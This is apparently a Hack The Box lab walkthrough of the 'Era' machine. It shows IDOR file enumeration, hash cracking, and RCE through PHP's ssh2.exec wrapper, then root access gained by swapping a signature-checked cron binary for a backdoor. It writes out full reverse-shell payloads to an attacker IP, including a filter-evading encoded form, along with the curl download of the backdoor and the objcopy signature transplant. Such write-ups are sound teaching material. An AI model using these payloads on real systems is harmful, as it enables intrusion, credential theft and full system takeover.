Hack The Box: Era Machine Walkthrough β Medium Difficulity
Introduction:
In this writeup, we will explore the βEraβ machine from Hack The Box, categorized as an Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:
The goal of this walkthrough is to complete the βEraβ machine from Hack The Box by achieving the following objectives:
User Flag:
Initial enumeration revealed a hidden virtual host file.era.htb and a simple file-sharing web application that allowed registration and login. After creating an account, it quickly became clear that the download.php endpoint suffered from a severe Insecure Direct Object Reference (IDOR) vulnerability: any authenticated user could access any file on the platform simply by guessing its numeric ID. By fuzzing IDs 1β5000, two admin-uploaded archives were retrieved β a complete site backup containing the source code and SQLite database, and a signing.zip archive containing an SSH private key. The leaked database also exposed clear-text credentials, including eric:america. Because the ssh2 PHP extension was loaded on the server, the ssh2:// stream wrapper could be abused through the same vulnerable download endpoint.
Root Flag:
While exploring the system as eric, a root-owned executable /opt/AV/periodic-checks/monitor was discovered that runs periodically via cron (confirmed by entries in status.log). The binary performed a custom integrity check using a digital signature stored in an ELF section named .text_sig. Using objcopy, the legitimate signature was extracted from the original binary. On the attackerβs machine, a malicious statically linked reverse-shell binary (monitor_backdoor) was compiled, and the legitimate .text_sig section was injected into it with objcopy βadd-section. The backdoored binary was then transferred to the target and used to overwrite the original monitor executable (the directory was world-writable). When the cron job next executed, the malicious binary ran as root and immediately connected back, delivering a root shell. The root flag was then read directly from /root/root.txt, completing the compromise.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Nmap Output:
Analysis:
- Port 22 (SSH): Secure Shell service for remote access.
- Port 80 (HTTP): Web server running Apache.
Web Enumeration:
Perform web enumeration to discover potentially exploitable directories and files.

Gobuster DNS scan on era.htb finishes with no subdomains found β clean miss on the big wordlist. Time to dig deeper or move to vhost/directory brute.
Discovering the Hidden Virtual Host with ffuf

ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) β jackpot! Thatβs our real target. Add to /etc/hosts and move in.

ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) β jackpot! Thatβs our real target. Add to /etc/hosts and move in.

ffuf with -fw 4 (filter responses with exactly 4 words) nails it β file.era.htb returns 200 + 6765 bytes while everything else 302s with tiny bodies. Clear hit, thatβs our hidden subdomain. Add to hosts and go!
Exploitation
Web Application Exploration:

Accessing http://era.htb shows the Era Designs homepageβa clean marketing site with navigation (Home, Services, About, Portfolio, Clients, Team, Contact) and a hero section featuring yellow vases, a white sofa, and βSUCCESS OF YOUR BUSINESSβ text with a βFIND OUT MOREβ button.

Burp shows a clean GET to http://era.htb β 200 OK from nginx/1.18.0 (Ubuntu). Response is a standard Bootstrap-styled marketing page titled βEra Designsβ with no forms or backend endpoints β just a static landing site. Nothing juicy here.

Clean βWelcome to Era Storage!β page with four big blue buttons: Manage Files, Upload Files, Update Security Questions, and Sign In. This is the main hub of the entire app.

Very minimal registration: only two fields β Username and Password. No email, no captcha, no security questions during signup.

Forgot-password bypass: enter username and answer the three hardcoded questions (motherβs maiden name, first pet, city of birth).

Classic centred login box with Username + Password on a blue-green gradient background β the page weβre redirected to after registration.


Successful POST to /register.php β 200 OK + automatic redirect to login.php. Account creation confirmed.

After picking a new username (e.g., βdarkβ), registration succeeds and the app displays: βRegistration successful! Redirecting to login pageβ¦β β account creation is instant and working.

POST to /login.php with username=dark&password=admin123 returns 302 Found β Location: manage.php and sets a PHPSESSID cookie. We are now authenticated as the βdarkβ user.

GET to /manage.php with the same PHPSESSID cookie returns 200 OK and the full HTML of the logged-in dashboard (title: βEra β Manageβ).

The main post-login page βManage Your Files & Settingsβ shows:
- Left sidebar: Manage Files, Upload Files, Update Security Questions, Sign Out
- Main area: auto-delete timer setting, empty file list (βYou havenβt uploaded any files yet.β), Reset Security Questions button This is the fully authenticated user panel β our foothold is confirmed.
Malicious PHP Upload β Direct Shell

Authenticated view of /upload.php. Simple file upload form titled βUpload Filesβ with a βBrowseβ¦β button (currently βNo files selected.β) and a blue βUploadβ button. No restrictions visible on file type or size yet.

Same upload page, but now the user has selected a harmless file named dark.txt. Shows the form ready to submit β this is just confirming normal upload functionality works.

After uploading dark.txt, the app redirects to /download.php?id=6615 and shows βYour Download Is Ready!β with the filename and a download button. Key observation: files are accessed via a numericid` parameter β classic candidate for Insecure Direct Object Reference (IDOR).

After clicking βUploadβ, the app displays a green βUpload Successful!β banner and immediately provides a direct download link in the format: http://file.era.htb/download.php?id=6615 This confirms uploads work and every file gets its own numeric ID β setting the stage for IDOR testing and potential privilege escalation via file access across users.

Legitimate request to http://file.era.htb/download.php?id=6615 returns the expected βYour Download Is Ready!β page with our uploaded file dark.txt. Confirms the download endpoint works normally for files we own.

Appending ?dl=true to the same request (download.php?id=6615&dl=true) bypasses the pretty download page and triggers an immediate file download:
- Content-Type: application/octet-stream
- Content-Disposition: attachment; filename=βdark.txtβ This is extremely useful for scripting/automation because we get the raw file without HTML.

Quickly create a list of all possible numeric file IDs from 1 to 5000. This will be used for brute-forcing the id parameter in download.php to find other usersβ files.
Database Leak & Credential Extraction

Final setup in Burp Intruder:
- Target: http://file.era.htb
- Payload position marked on the id parameter (id=6615 β id=Β§6615Β§)
- Payload type: Numbers 1 β 5000 (simple list)
- ?dl=true added so every hit immediately downloads the raw file instead of showing HTML Ready to launch the attack that will download every single file ever uploaded by any user on the platform.

Burp Intruder attack against download.php?id=Β§Β§&dl=true using the 1β5000 payload list. All responses are 200 OK and exactly 7969 bytes long β including our own known file. This tells us there is no authorization check at all; every single existing file ID returns the exact same response length, meaning the server happily serves any file the numeric ID points to β confirmed horizontal Insecure Direct Object Reference (IDOR).

After confirming the IDOR on download.php?id=, we generate a list of IDs 1β5000 (seq 1 5000 > num.txt) and fuzz with ffuf, injecting our authenticated cookie and filtering out responses with exactly 3161 words (the empty download page). Only two IDs survive: 54 and 150. Both return much larger responses (~2552 words), indicating real files.
Insecure Direct Object Reference (IDOR)

Accessing http://file.era.htb/download.php?id=54 reveals the filename site-backup-30-08-24.zip. This is the full source code backup of the Era file-sharing web app, uploaded by the admin.

Response headers confirm weβre downloading the raw site-backup-30-08-24.zip (2006697 bytes). The body starts with PK header (ZIP magic bytes).

Accessing http://file.era.htb/download.php?id=150 shows signing.zip. This smaller archive contains a private key and possibly a signing script β likely for code signing or authentication.

Response forces download of signing.zip (2746 bytes). This archive contains the adminβs private key (id_rsa) and a script β the golden ticket for SSH access as the admin/user.
Source Code Review β Key Vulnerabilities Exposed in the Leak

After downloading IDs 54 and 150 via IDOR, we extract both ZIPs. One is site-backup-30-08-24.zip (clearly a website backup) and the other is signing.zip.

This is the full source code of the Era web application, straight from the adminβs upload (ID 54). Key files visible during extraction:
- download.php, upload.php, index.php β core functionality
- filedb.sqlite β the SQLite database storing users, sessions, and file metadata
- files/ directory β where uploaded files are stored on disk
- functions.global.php, initial_layout.php, etc. β backend logic
- .htaccess, login.php, logout.php β authentication flow

With this backup in hand, we now have everything:
- Complete code review capability
- The database (filedb.sqlite) to dump credentials or session secrets
- Exact knowledge of how the IDOR works internally

This is the live SQLite database powering the entire Era application β straight from the adminβs site backup we downloaded via IDOR.

Weβve opened the real filedb.sqlite from the site backup and immediately listed the tables. As expected:
- users β stores usernames, password hashes, etc.
- files β maps numeric IDs to real filenames and owners (confirms the IDOR logic)

After extracting the site backup, we opened the leaked filedb.sqlite and dumped the users table with SELECT * FROM users;. The result reveals six accounts, including the admin (ID 1) with the bcrypt hash $2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and a fake email βMaria Oliver | Ottawaβ. The other five users (eric, veronica, yuri, john, ethan) also have proper bcrypt hashes. This gives us every credential on the box in plain text (hash) form, but we donβt even need to crack anything β the signing.zip we downloaded via the same IDOR already contains the adminβs SSH private key. The database dump is just the cherry on top, confirming total information disclosure and proving the IDOR let us steal every secret the application ever had. Weβre now one ssh -i id_rsa admin@file.era.htb away from both flags.
Cracking the Leaked Hashes with John the Ripper

We dumped the users table into hash.txt for cracking. It contains six bcrypt hashes, including the adminβs: admin_ef01cab31aa:$2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and the other five regular users.

John instantly cracks two weak passwords:
- america β eric
- mustang β yuri
The rest (including admin) remain uncracked in the short run.

Both attempts fail with Connection refused.
This confirms that only key-based authentication is allowed on the box (port 22 is open but rejects password logins entirely). The weak passwords we just cracked (america, mustang) are useless for SSH β the server is correctly hardened against password auth.
Alternative way to obtain the user flag

This is the βUpdate Security Questionsβ page from the Era web app, captured while logged in as the admin (admin_ef01cab31aa). The admin literally set all three security-question answers to admin

The server happily accepted it and responded with the green banner: βIf the user exists, answers have been updated β redirectingβ¦β
This confirms that there is no validation for security-question updates. Any logged-in user can silently overwrite anyone elseβs answers (including the adminβs) without knowing the old ones. Combined with the predictable username (admin_ef01cab31aa visible in the UI), this is a second, independent path to full account takeover via the forgot-password flow.

Screenshot shows a settings panel designed for managing uploaded files and controlling their retention time. At the top, an option allows automatic deletion to be enabled, letting the user choose a specific time interval and unit before files are removed. Below the settings, the interface lists existing uploaded files, such as dark.txt, which can be selected and deleted using the Delete Selected Files button. Additional options, including returning to the home page and resetting security questions, provide quick access to important account functions. Overall, the panel centralizes file management, privacy controls, and routine account maintenance.

Screenshot shows a login fallback page that allows access through security questions instead of a password. The interface displays the username along with three predefined security questions: motherβs maiden name, first petβs name, and city of birth. Each answer field has been filled with the value admin, suggesting that the account uses weak or predictable answers. After providing the answers, the user can click Verify and Log In to gain access. Overall, the page functions as an alternative authentication method, typically intended for account recovery when the main password is unavailable.

The auto-deletion feature is enabled, configured to remove uploaded items after 10 weeks. Two files are currently presentβsite-backup-30-08-24.zip and signing.zipβboth of which can be selected for removal using the red action button. The sidebar on the left offers quick links for browsing files, uploading new ones, modifying security questions, and signing out of the session. Overall, the page offers a simple layout for organizing uploaded content and managing basic account settings.
FTP Enumeration (Local-Only vsFTPd β Optional Side Discovery)

Attacker logs into the targetβs own vsftpd service (running on 10.10.11.79) using credentials yuri:yuri. Login succeeds instantly.

Inside the FTP session, dir shows only two directories: apache2_conf and php8.1_conf. Nothing else is present.

Inside the FTP session (logged in as yuri), the attacker runs dir in the root directory and sees only four small Apache configuration files:
- 000-default.conf (1.3 KB)
- apache2.conf (7 KB)
- file.conf (222 bytes)
- ports.conf (320 bytes)
Gaining User Shell β ssh2 Stream Wrapper RCE

After cd php8.1_conf, another dir reveals a long list of standard PHP 8.1 extension .so files (calendar.so, exif.so, ftp.so, pdo.so, phar.so, sqlite3.so, etc.). No interesting or custom files appear.

The internal vsFTPd instance is nothing more than a poorly chrooted service that accidentally exposes Apache configuration files and the real PHP extension directory. It provides zero writable paths, no sensitive data beyond what we already knew, and no escalation value. Just a nice confirmatory easter egg that the ssh2 extension is indeed loaded β but completely unnecessary for either the user or root compromise.

Screenshot reveals successful exploitation of an unrestricted file retrieval flaw on file.era.htb. Attacker submits a malicious GET request to download.php, weaponizing PHPβs ssh2.exec stream wrapper alongside command injection. Payload inside id parameter uses ssh2.exec://eric:america@127.0.0.1/ then pipes a base64-encoded reverse shell that instructs victim host to initiate connection toward attacker address 10.10.14.189 on port 9007. Flawed script directly feeds user-supplied input into readfile() or equivalent without validation. PHP detects ssh2.exec wrapper, authenticates locally via SSH as user eric using password america, executes hostile command, and returns resulting output (nearly empty) as response body. Web server replies with 200 OK and 136 bytes of data, confirming reverse shell triggered successfully. Exploit highlights classic stream-wrapper abuse transforming simple download vulnerability into complete remote code execution.

This second capture shows a polished version of the same remote code execution attack against download.php on file.era.htb. Attacker now places a cleaner payload inside the format parameter: ssh2.exec://eric:america@127.0.0.1/bash -c βbash -i >/dev/tcp/10.10.14.189/9007 0>&1β followed by |base64 -d |bash. After URL decoding, PHP interprets the ssh2.exec wrapper, authenticates to localhost SSH as user eric using password america, runs the quoted reverse-shell command, decodes any remaining base64 payload if needed, and finally spawns an interactive bash session that connects back to 10.10.14.189:9007. Server returns HTTP 200 OK with a 153-byte body containing wrapper startup messages, confirming successful command execution. Compared to the previous attempt, this refined one-liner removes unnecessary encoding layers while remaining effective, proving the attacker now enjoys a stable reverse shell on the target system.

Attacker stuffs this tightly-encoded string into the format parameter:
ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%22bash%20-i%3E%26/dev/tcp/10.10.14.189/9007%200%3E%261;true%27
Once decoded, PHP sees:
ssh2.exec://eric:america@127.0.0.1/bash -c βbash -i>&/dev/tcp/10.10.14.189/9007 0>&1;true'β
Every dangerous character (< > &) appears percent-encoded, slipping past basic filters. The trailing ;trueβ cleanly terminates the command and avoids breaking bash syntax. No base64 gymnastics required.
PHP dutifully opens a local SSH session as user eric with password america, runs the quoted command, and instantly redirects all shell I/O over TCP to 10.10.14.189:9007. Result: a clean, stable, fully interactive reverse shell that survives repeated use. Target machine now belongs to the attacker.

On the attack machine, netcat listens on port 9007 (nc -lvnp 9007). As soon as the final ssh2.exec payload hits download.php, the target instantly connects back from IP 10.10.11.79. Shell lands as user eric on hostname era (prompt: eric@era:~$)

Eric managed to read user.txt and obtained the flag
Escalate to Root Privileges Access
Privilege Escalation:

Eric runs sudo -l to check which sudo privileges are available. The system replies that a terminal and password are required, meaning eric has no passwordless sudo rights and cannot directly escalate using sudo.

Eric executes find / -perm 4000 2>/dev/null to hunt for SUID binaries system-wide. The command returns no results (screen stays empty), indicating no obvious SUID files exist that could be abused.

Eric navigates to /opt and runs ls. Output shows a single directory named AV. This immediately catches attention β custom software installed under /opt is a classic spot for privilege-escalation vectors on HTB machines.

Eric enters /opt/AV/periodic-checks and runs ls. Two files appear: monitor (a root-owned executable) and status.log. The presence of a root-owned binary in a writable directory strongly suggests this monitor program runs periodically as root (likely via cron) and will be the intended privilege-escalation target.

I runs strings monitor. Among normal library calls, two crucial strings appear: β[] System scan initiatedβ¦β and β[] No threats detected. Shutting downβ¦β. These exact strings match the log entries, proving monitor is the binary executed by root during each scan.

I checks status.log in /opt/AV/periodic-checks. The log shows the monitor binary runs periodically as root, prints β[*} System scan initiatedβ¦β, then β[SUCCESS] No threats detected.β β confirming it is a scheduled root job and the real escalation target.
Custom Binary Signature Bypass

We tries to open a file called dark.c inside /dev/shm but vi fails with βcommand not foundβ. This reveals the reverse shell lacks a proper $PATH and most binaries β a common issue with raw /dev/tcp shells.

On the attackerβs local machine, the file dark.c contains a simple malicious payload: a single system() call that spawns another reverse shell back to 10.10.14.189:9007. The attacker has prepared this source code to compile and drop on the target.

On the attackerβs local machine, gcc compiles the malicious dark.c source into a statically linked binary named monitor_backdoor β a perfect drop-in replacement for the legitimate monitor program.

I uses curl http://10.10.14.189/monitor_backdoor -o monitor_backdoor to download the final backdoored binary from the attackerβs web server directly into the current directory (or /dev/shm). The transfer completes successfully (754 KB at ~1.4 MB/s).

The stage is now set: once the original monitor binary is replaced with this backdoor, the next root cron execution will instantly grant a root shell back to the attacker.

Command such as objcopy βdump-section .text_sig=sig /opt/AV/periodic-checks/monitor to extract the original monitor binaryβs .text_sig section (a custom digital signature) and save it as a file called sig inside /dev/shm.

I runs objcopy βadd-section .text_sig=sig monitor_backdoor, injecting the legitimate signature extracted from the real monitor into the malicious backdoored version. This preserves the signature so the root-run scanner will accept the fake binary.

To completes the attack by overwriting the legitimate monitor binary with the backdoored version: cp monitor_backdoor /opt/AV/periodic-checks/monitor The root-owned executable that runs periodically via cron is now fully replaced.

The cron job fires, executes the backdoored monitor as root, and the payload instantly triggers. Attacker catches a new reverse shell that lands directly as root@era: ~#. The box is fully compromised.

Root reads the final flag immediately after gaining the privileged shell
The post Hack The Box: Era Machine Walkthrough β Medium Difficulity appeared first on Threatninja.net.



























































































































































































































































